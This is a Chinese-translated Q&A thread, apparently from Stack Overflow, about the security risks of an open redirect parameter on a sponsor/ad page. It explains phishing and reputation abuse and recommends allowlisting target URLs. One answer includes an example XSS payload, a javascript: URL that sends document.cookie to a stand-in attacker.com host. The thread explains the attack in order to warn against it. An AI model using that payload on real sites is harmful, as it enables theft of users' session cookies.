2

我有一个网页重定向到另一个网页,如下所示:

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

然后,Sponsor.php 页面会显示一个广告,其中包含一个“继续到您的页面”链接,该链接指向传入的 RedirectPage。是否存在可能由此产生的安全/欺骗问题?处理这个问题的最佳方法是什么?(请注意,用户没有登录到任何一个站点)

4

3 回答 3

10

这是个大问题。如果我向您发送如下所示的链接:

 http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

你会想“哦,CNN,这是一个合法的网站”,然后你会打开它并点击“继续你的页面”链接。然后你会在网上最讨厌的色情网站之一上,它会有一个巨大的男性声音向你所有的同事宣布“我想要!@$@#$ 你的!(&¤ &^$§ 直到我不能 ¡⌐^(!#~~&$^#!@$!! " 你必须向你的老板解释 "我以为是 CNN!"

这里的洞是你的名声。像这样的盲目重定向是危险的。

这只是一个洞。这个怎么样?

 http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie

Now I've XSS-ed your site and stolen your user's cookies. Sure, you say there's no login info, but how about session data? Or when you add a login later, or someone else in your company uses this page a year later where users are logged in.

于 2009-07-06T20:37:38.620 回答
0

这绝对是一个安全风险。当涉及安全性时,您应该避免使用 URL 内变量。

虽然没有什么是完全安全的,但这是处理此问题的更好方法:http ://www.webmasterworld.com/forum88/2910.htm

于 2008-10-17T01:45:15.600 回答
0

如果赞助商.php 允许任何值进入 RedirectPage 并且广告暗示背书,或者鼓励人们认为他们走在正确的轨道上,那么您将打开它成为网络钓鱼攻击的一部分。更糟糕的是,您可能会从这些攻击中获利,这可能会让人们相当不高兴。

保留允许的 URL 列表(或它们可以遵循的模式)将大大有助于防止出现问题。

于 2008-10-17T01:46:52.960 回答